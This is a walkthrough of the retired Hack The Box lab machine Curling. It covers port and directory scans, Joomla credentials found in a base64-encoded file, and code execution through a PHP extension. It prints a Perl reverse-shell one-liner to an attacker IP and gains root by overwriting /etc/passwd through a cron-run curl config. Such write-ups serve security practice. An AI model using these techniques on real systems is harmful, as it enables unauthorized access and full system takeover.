This post documents the complete walkthrough of Curling, a retired vulnerable VM created by L4mpje, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

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Background

Curling is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a nmap scan to establish the available services in the host.

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt 10.10.10.150 ... PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA) | 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA) |_ 256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519) 80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Site doesn't have a title (text/html; charset=utf-8).

Let’s start with the http service. This is how it looks like in a browser.

Directory/File Enumeration

Let’s use wfuzz and SecLists’ quickhits.txt , and see what we can get.

# wfuzz -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt --hc '403,404' http://10.10.10.150/FUZZ ******************************************************** * Wfuzz 2.3.1 - The Web Fuzzer * ******************************************************** Target: http://10.10.10.150/FUZZ Total requests: 2371 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000600: C=200 109 L 348 W 5110 Ch "/administrator/" 000603: C=301 9 L 28 W 325 Ch "/administrator/logs" 000825: C=200 1 L 2 W 31 Ch "/cache/" 000966: C=200 0 L 0 W 0 Ch "/configuration.php" 001306: C=200 80 L 493 W 3005 Ch "/htaccess.txt" 001444: C=200 339 L 2968 W 18092 Ch "/LICENSE.txt" 001915: C=200 72 L 540 W 4872 Ch "/README.txt" 002101: C=200 1 L 2 W 31 Ch "/templates/" 002138: C=301 9 L 28 W 310 Ch "/tmp" 002139: C=200 1 L 2 W 31 Ch "/tmp/" 002270: C=200 31 L 90 W 1690 Ch "/web.config.txt" Total time: 48.42746 Processed Requests: 2371 Filtered Requests: 2360 Requests/sec.: 48.95982

Now, what do we have here? Joomla!

Joomla 3.8

If you look at the articles posted, the first article was signed off by Floris and written by Super User. Could floris be the username? And, what’s the password?

Hidden at the bottom of the HTML source code of the landing page is a HTML comment that looks like this.

Hmm. It seems to suggest the presence of a secret.txt file. Let’s check it out.

That’s the base64 -encoding of the string Curling2018! .

Could this be the password? There’s only one way to find out.

The credential is indeed ( floris:Curling2018! ) and a Super User no less.

Low-Privilege Shell

Searching for “writing joomla article in php” in Google led me to Sourcerer, a Joomla extension that allows one to write in any code, more importantly in PHP. And since I’m the Super User, installing an extension is a breeze. Go to Extensions->Manage->Install.

Upload the extension and you are done.

Now, log in to the landing page with the same credential and go back to one of the articles already posted; and add some PHP code like this.

Save the article and go to the article’s canonical URL.

Isn’t this awesome? We are now ready for a reverse shell. I always like Perl because it’s more likely to be present than Python.

perl -e 'use Socket;$i="10.10.14.109";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

URLencode it to prevent complications since we are putting in the address bar.

Meanwhile at my nc listener, a reverse shell appears…

Privilege Escalation

During enumeration of www-data ’s account, I notice an interesting file password_backup at /home/floris . The user.txt is here but only floris can read it.

The file password_backup is a hexdump.

Let’s restore the hexdump back to its binary form and see what’s next with file .

Let’s try the credential ( floris:5d<wdCbdZu)|hChXll ) with SSH.

Perfect. Time to retrieve user.txt .

Now, I notice something really strange going on in /admin-area .

Two files are written here by root at every minute interval! If I have to guess, I would say that a cron job is ran by root every minute writing the files here.

The file input contains curl -like argument like this.

If that’s the case, I can change the content to this.

url = "file:///tmp/passwd" output = "/etc/passwd"

This input will tell curl to download the file at /tmp/passwd and write it to /etc/passwd . Now, let’s copy /etc/passwd to /tmp/passwd and add another root account like so.

Where to5bce5sr7eK6 is the crypt(3) hash or one-way digest of “toor” with salt “toor”.

Once that’s done, we can proceed to modify input and log in as toor a minute later.